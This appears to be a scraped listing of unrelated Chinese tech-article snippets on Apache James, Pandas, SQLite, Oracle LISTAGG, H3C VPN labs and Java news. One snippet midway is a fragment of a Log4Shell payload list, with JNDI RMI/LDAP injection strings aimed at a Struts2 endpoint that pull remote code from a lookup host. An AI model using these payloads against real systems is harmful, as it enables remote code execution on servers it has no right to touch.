将jaxb-impl-2.1.3.jar复制到apache-james-3.0-beta4-app.zip解压目录下的conf/lib目录下
现在的项目往往都需要发送邮件验证，邮件内容推送等功能。所以我就专门研究Apache中James，这是一个专门用来做邮件服务器的开源框架。
由于工作需要 ，需要在windows服务器上搭建内网邮箱服务用于测试，本文选择 Apache James 2.3.2.1 进行搭建，并且将配置操作最简化，仅适合临时搭建，用于测试，不适合在生产环境上部
最近一直在搞邮件这块，本来我们邮件发送是用的腾讯免费的企业邮箱，邮件功能没有问题，但是由于邮件的限制，如下： 这些限制导致我们的部分客户是收不到邮件的，哪怕付费，这样的固定频率限制也是无法解决的，可以
SMTP协议：Simple Mail Transfer Protocol，即简单邮件传输协议，用于发送电子邮件
Smokeping 网络链路状态和稳定性监控 环境 centos 7 apache smokeping 安装部署 apache yum -y install httpd httpd-devel gcc make curl wget 安装依赖库 yum -y install libxml2-devel li
URL: http://pushnifty.com/dasinfoau/php/gym
LNMP是什么 : Linux+Nginx+Mysql+(php-fpm,php-mysql)
本文中，云朵君将和大家一起学习如何从 PySpark DataFrame 编写 Parquet 文件并将 Parquet 文件读取到 DataFrame 并创建视图/表来执行 SQL 查询。还要学习在 SQL 的帮助下，如何对 Parquet 文件对数据进行分区和检索分区以提高性能。
当 ASF 启动“赢在 Apache ”系列博客后，我提出要分享自己的经历。如果您继续阅读这篇文章，请记住这只是我个人的经历，其他人未必会认可，但是您会看到，这真的很有趣。
Apache Struts 2 http://127.0.0.1:8080/struts2-showcase/token/transfer4.action -d struts.token.name='${jndi:rmi://127.0 .0.1:1099/ylbtsl}' http://localhost:8080/struts2-showcase/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/ VMWare VCenter "X-Forwarded-For
打开Java的JAR文件我们经常可以看到文件中包含着一个META-INF目录， 这个目录下会有一些文件，其中必有一个MANIFEST.MF，这个文件描述了该Jar文件的很多信息，下面将详细介绍MANIFEST.MF文件的内 容，先来看struts.jar中包含的MANIFEST.MF文件内容：
本文介绍了Hadoop基础教程-第12章 Hive：进阶的相关内容。主要讲解了Hive中自定义函数的实现，包括UDP、自定义UDF以及UDAF。通过案例展示了如何调用自定义函数进行查询。
连接操作，也就是常说的join操作，是数据分析时经常用到的操作。 比如有两份数据data1和data2，进行关键词连接是一个很通用的问题，如果数据量比较小，可以在内存中完成连接。如果数据量比较大，在内存进行连接操会发生内存溢出。MapReduce join就是用来解决大数据的连接问题。
xUnit.net 是属于 .Net 基金会的一个项目，本文将简要介绍该项目相关的信息。
1. 从本地集合获取数据 import org.apache.flink.api.scala._ /** * author: YangYunhe * date: 2019/8/3 18:59 * description: 从本地集合中获取数据 */ object CollectionSource { def main(args: Array[String]): Unit = { val env = ExecutionEnvironment.getExecutionEnvir
Tomcat 是一个由 Apache 软件基金会开发的开源 Web 服务器和 Servlet 容器，它是 Jakarta 项目中的一个核心项目。Tomcat 最初由 James Duncan Davidson 编写，后来成为了 Apache 的一部分，并由 Apache、Sun Microsystems 及其他公司和个人共同维护和发展。
传统的软件模式是在开发出软件产品后，需要去客户现场进行实施，通常部署在局域网，这样开发、部署及维护的成本都是比较高的。
Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上。Apache源于NCSAhttpd服务器，经过多次修改，成为世界上最流行的Web服务器软件之一。Apache取自“a patchy server”的读音，意思是充满补丁的服务器，因为它是自由软件，所以不断有人来为它开发新的功能、新的特性、修改原来的缺陷。Apache的特点是简单、速度快、性能稳定，并可做代理服务器来使用。
1、James Gosling 1983 年，Gosling 获得了加州大学的计算机科学学士学位。1990 年，他获得了卡内基梅隆大学的计算机科学博士学位，师从 Bob Sproull。在攻读博
本案例采用H3C HCL模拟器的F1060防火墙来模拟IPSEC+IKE野蛮模式的典型组网配置。在网络拓扑图中存在子网1和子网2.为了保障子网1和子网2相互传输数据的安全性，因此需要在FW1与FW2采用建立IPSEC VPN隧道，由于FW1的出接口地址不固定，因此采用IKE野蛮模式。
In this tutorial, we show you a Spring 4 MVC example, using Maven build tool.
James Gosling 最初开始 Java 语言项目是在 1991 年的 7 月。Java 被用在他的许多 set-top box 工程中。这个语言最开始的时候被称为 Oka，这个是因为 James Gosling 办公室外有一颗橡树，同时也考虑过使用 Green 这个名字，最终这个语言被命名为 Java。这个名字是从一堆名字中随机选取的。
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个人博客，Spring Boot 开山之作，采用 Spring Boot + MyBatis，前端 Bootstrap + LayUI，支持程序员非常青睐的轻量化的 Markdown 编辑器 Editor.md，支持标签分类检索 http://fsblog.letec.top
本案例采用H3C HCL模拟器的F1060防火墙来模拟IPSEC NAT穿越的典型组网配置。在网络拓扑图中存在子网1和子网2.为了保障子网1和子网2相互传输数据的安全性，因此需要在FW1与FW2采用建立IPSEC VPN隧道，由于FW1的出接口地址不固定且ISP为子网1的NAT设备，因此采用IKE野蛮模式。
Java 和 Spring 为开发过程带来的灵活性，影响了当前 IDP 实现标准化和效率的方式。
作者 | Michael Redlich 译者 | 平川 策划 | 丁晓昀 OpenJDK 在过去的一周，经过评审后，JDK 20 提案 JEP 438（Vector API 第 5 轮孵化）从 Proposed to Target 状态 提升 到 Targeted 状态。在 Panama 项目 的支持下，该 JEP 融合了针对前 4 轮孵化反馈的改进：JEP 426（Vector API 第 4 轮孵化）在 JDK 19 中交付；JEP 417（Vector API 第 3 轮孵化）在 J
作者 | Michael Redlich 译者 | 平川 策划 | 丁晓昀 OpenJDK 2023 年理事会选举结果显示，Red Hat 开源 Java 技术主管 Andrew Haley 和 Oracle 技术咨询人员 Phil Race 已当选为董事会成员，填补了两个 At-Large 成员席位。选举结果将于2023 年 4 月 1 日生效，任期为一年。InfoQ 后续将带来更详细的新闻报道。 JEP 444（虚拟线程）从 JEP Draft 8303683 状态 提升 到 Candid
稍微测试了下windows，感觉好奇怪，放弃，还是用linux吧，linux大法好 (・ω・)ノ
An asynchronous callback-based Http client for Android built on top of Apache’s HttpClient libraries. All requests are made outside of your app’s main UI thread, but any callback logic will be executed on the same thread as the callback was created using Android’s Handler message passing.
本案例采用H3C HCL模拟器来模拟IPV4 over IPV6 over ssl vpn典型组网配置。内网和外网已经有了明确的标识。内网1和内网2都是采用IPV4作为基础网络的搭建。外网采用IPV6来实现内网1和内网2的互联。为了实现内网1和内网2的互通，要求在R1与R2之间建立隧道，采用IPV6 over IPV6的方式。内网2的FW1使用F1060防火墙做成SSL VPN网关，内网1的终端到达内网2之后，首先要进行SSL VPN的认证过后，方能访问SW1。因此需要在R2做策略路由，实现流量的引流。由于模拟器的局限性，因此使用SW1采用S5820交换机开启WEB功能来模拟WEB服务器。最后SSL VPN的接入的方式为WEB接入（缺省证书）双臂（旁路）的架构，提供WEB服务并将内网2的WEB服务器进行发布。
去年9月份，谷歌为Hadoop和Spark推出了Cloud Dataproc服务的beta版本，如今半年过去了，Cloud Dataproc服务已完成测试，现在可以被广泛使用。 谷歌在旧金山的一次活
SQLite 的 GROUP BY 子句用于与 SELECT 语句一起使用，来对相同的数据进行分组。
划重点： - 基于TinkerPop3框架，兼容Gremlin查询语言 - OLTP（开源） 与 OLAP(商业版） - 常用图应用支持—— 路径搜索、推荐等
GROUP BY sqlite> select age,sum(salary) from company group by age order by age ; age sum(salary) ---------- ----------- 22 45000.0 23 20000.0 24 30000.0 25 80000.0 27 85000.0 32
SQLite的DISTINCT关键字与SELECT语句一起使用，来消除所有重复的记录，并只获取唯一一次记录。
Rstudio Server 是Rstudio开发的基于R语言的网页版（只能在Linux），你在手机上都可以运行R，还是挺方便的。就是配置起来有点麻烦。 官方下载链接：https://www.rstudio.com/products/rstudio/download-server/
Pandas 有很多高级的功能，但是想要掌握高级功能前，需要先掌握它的基础知识，Pandas 中的数据结构算是非常基础的知识之一了。
在 Pandas数据结构详解 | 轻松玩转Pandas（1） 介绍了 Pandas 中常用的两种数据结构 Series 以及 DataFrame，这里来看下这些数据结构都有哪些常用的功能。
Pandas 有很多高级的功能，但是想要掌握高级功能前，需要先掌握它的基础知识，Pandas 中的数据结构算是非常基础的知识之一了。 Pandas 常用的数据结构有两种：Series 和 DataFrame。这些数据结构构建在 Numpy 数组之上，这意味着它们效率很高。我们来分别看看这些数据结构都长什么样子吧。 准备 # 导入相关库 import numpy as np import pandas as pd 提示没有该库，可以pip安装 Series 简介 Series 是一个带有 名称 和索引
大家好，又见面了，我是你们的朋友全栈君。 Oracle11.2新增了LISTAGG函数，可以用于字符串聚集，测试如下： 1,版本 SQL> select * from v$version; BANNER ——————————————————————————– Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 – Production PL/SQL Release 11.2.0.1.0 – Production CORE 11.2.0.1.0 Production TNS for Linux: Version 11.2.0.1.0 – Production NLSRTL Version 11.2.0.1.0 – Production 2，测试数据 SQL> SQL> select empno,ename,deptno from scott.emp; EMPNO ENAME DEPTNO —– ———- —— 7369 SMITH 20 7499 ALLEN 30 7521 WARD 30 7566 JONES 20 7654 MARTIN 30 7698 BLAKE 30 7782 CLARK 10 7788 SCOTT 20 7839 KING 10 7844 TURNER 30 7876 ADAMS 20 7900 JAMES 30 7902 FORD 20 7934 MILLER 10 14 rows selected 3，作为聚集函数 SQL> SELECT deptno, 2 LISTAGG(ename, ‘,’) WITHIN GROUP(ORDER BY ename) AS employees 3 FROM scott.emp 4 GROUP BY deptno; DEPTNO EMPLOYEES —— ——————————————————————————– 10 CLARK,KING,MILLER 20 ADAMS,FORD,JONES,SCOTT,SMITH 30 ALLEN,BLAKE,JAMES,MARTIN,TURNER,WARD SQL> –更换排序列 SQL> SELECT deptno, 2 LISTAGG(ename, ‘,’) WITHIN GROUP(ORDER BY hiredate) AS employees 3 FROM scott.emp 4 GROUP BY deptno; DEPTNO EMPLOYEES —— ——————————————————————————– 10 CLARK,KING,MILLER 20 SMITH,JONES,FORD,SCOTT,ADAMS 30 ALLEN,WARD,BLAKE,TURNER,MARTIN,JAMES –order by必须存在 SQL> SELECT deptno, 2 LISTAGG(ename, ‘,’) WITHIN GROUP() AS employees 3 FROM scott.emp 4 GROUP BY deptno; SELECT deptno, LISTAGG(ename, ‘,’) WITHIN GROUP() AS employees FROM scott.emp GROUP BY deptno ORA-30491: ORDER BY 子句缺失 SQL> SELECT deptno, 2 LISTAGG(ename, ‘,’) WITHIN GROUP(order by null) AS employees 3 FROM scott.emp 4 GROUP BY deptno; DEPTNO EMPLOYEES —— ——————————————————————————– 10 CLARK,KING,MILLER 20 ADAMS,FORD,JONES,SCOTT,SMITH 30 ALLEN,BLAKE,JAMES,MARTIN,TURNER,WARD ==〉按字母顺序排列 4，LISTAGG作为分析函数使用 SQL> SELECT empno, 2 ename, 3 deptno, 4 LISTAGG(ename, ‘,’) WITHIN GROUP(ORDER BY ename) over(partition by deptno) AS employees 5 FROM sco
在 Pandas数据结构详解 | 轻松玩转Pandas（1） 介绍了 Pandas 中常用的两种数据结构 Series 以及 DataFrame，这里来看下这些数据结构都有哪些常用的功能。 # 导入相关库 import numpy as np import pandas as pd 常用的基本功能 当我们构建好了 Series 和 DataFrame 之后，我们会经常使用哪些功能呢？来跟我看看吧。引用上一章节中的场景，我们有一些用户的的信息，并将它们存储到了 DataFrame 中。 因为大多数
该文介绍了如何使用Hive进行左连接和内连接，包括创建表、插入数据、建立连接、执行查询和分析结果。
最近在学习Oracle的过程中，发现一个挺有意思的函数，它可实现对列值的拼接。下面我们来看看其具体用法。
一、JDBC的工作原理 Struts在本质上是java程序，要在Struts应用程序中访问数据库，首先，必须搞清楚Java Database Connectivity API(JDBC)的工作原理。正如其名字揭示的，JDBC库提供了一个底层API，用来支持独立于任何特定SQL实现的基本SQL功能。提供数据库访问的基本功能。它是将各种数据库访问的公共概念抽取出来组成的类和接口。JDBC API包括两个包：java.sql(称之为JDBC内核API)和javax.sql（称之为JDBC标准扩展）。它们合在一
# 导入相关库 import numpy as np import pandas as pd 什么是缺失值 在了解缺失值（也叫控制）如何处理之前，首先要知道的就是什么是缺失值？直观上理解，缺失值表示的是“缺失的数据”。 可以思考一个问题：是什么原因造成的缺失值呢？其实有很多原因，实际生活中可能由于有的数据不全所以导致数据缺失，也有可能由于误操作导致数据缺失，又或者人为地造成数据缺失。 来看下我们的示例吧 index = pd.Index(data=["Tom", "Bob", "Mary", "Ja
Excel can sort records according to any column. Now you are supposed to imitate this function.
Parquet 是一种开源文件格式，用于处理扁平列式存储数据格式，可供 Hadoop 生态系统中的任何项目使用。 Parquet 可以很好地处理大量复杂数据。它以其高性能的数据压缩和处理各种编码类型的能力而闻名。与基于行的文件（如 CSV 或 TSV 文件）相比，Apache Parquet 旨在实现高效且高性能的平面列式数据存储格式。
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